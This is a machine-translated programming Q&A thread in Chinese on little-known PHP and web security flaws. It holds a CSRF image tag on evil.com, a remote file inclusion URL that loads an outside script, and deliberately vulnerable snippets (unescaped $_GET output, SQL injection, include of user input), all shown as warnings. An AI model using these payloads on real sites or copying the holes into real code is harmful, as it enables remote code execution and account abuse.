我知道这样的问题已被问过一百次,但我的情况有点不同。
我知道所有常见且广为人知的安全问题,如SQL注入,XSS等。但是,经常出现但大部分时间都未被识别或未被判断为漏洞的问题又如何呢?有没有?
答案 0 :(得分:8)
有一件事我已经看到很多东西被开发成为一个功能,并且在它为时已晚之前不被视为安全漏洞是状态改变的GET请求。这些很容易导致cross-site request forgery。例如,您的应用程序可能会有一个指向用户的http://mysite.com/logout链接。但第三方网站可以添加如下代码:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
然后,当用户在evil.com上加载页面时,他们将退出mysite.com!
当网站使用状态更改GET请求实现API时,会出现最严重的问题。例如,如果我使用诸如site.com/addfriend,site.com/sendmessage等网址运行社交网站,并且我将这些网址发送给将要为我的网站制作应用程序的开发人员,那么开发人员必须在发现安全漏洞时处理API更改。
答案 1 :(得分:5)
使用$_REQUEST
代替$_GET
或$_POST
,这是个坏主意,因为$_REQUEST
也包含Cookie,它为{{3}打开了大门}}
不是特定于PHP的,适用于所有解释型语言:Variable Fixation
答案 2 :(得分:3)
以下是我参与过的一些事情:
我处理过的一些想法和事情。希望它有所帮助!
答案 3 :(得分:2)
我在fopen处理程序启用时曾经处理过一堆垃圾,就像“注册全局”一样。包含类似于:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
这允许任何人做的是远程执行他们想要的任何代码。看吧: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP将通过HTTP获取文本文件并在本地执行。由于Apache以root身份运行......好吧,你明白了。
答案 4 :(得分:1)
缺乏防止社会工程攻击的程序?例如,攻击者呼叫办公室并假冒某人以获取密码。
密码创建,分发和保护政策不佳。
FTP帐户破解可能导致恶意代码上传到您的网站。
弱/易受攻击的第三方托管服务器可能会导致您的网站遭到入侵,无论您花多少时间保护其安全。
答案 5 :(得分:1)
以下是我看到的一些常见陷阱:
<强> 1。不逃避实体
这是基础知识;所有不受信任的输入(特别是来自表单的用户输入)必须在输出之前进行清理。
echo $_GET['username'];
<强> 2。不转义SQL输入
$query = "select * fromt able where id = {$_GET['id']}";
第3。不正确地要求和包含文件
include($_GET['filename']);
<强> 4。双重转义报价
如果magic_quotes_gpc为true,那么使用addslahes将添加一个斜杠 从而总共添加两个斜杠。
答案 6 :(得分:0)
PHP已存在超过10年,并且已经成熟了很多。
小心php.ini中的松散默认值。
答案 7 :(得分:0)
许多帖子并非特定于PHP。我确信存在一些语言缺陷,但正如您在帖子中看到的那样,实现安全性的最佳实践(如过滤用户输入)非常重要。 OWASP是安全网络应用的良好开端。关于主题:Security Issues in PHP on OWASP。
干杯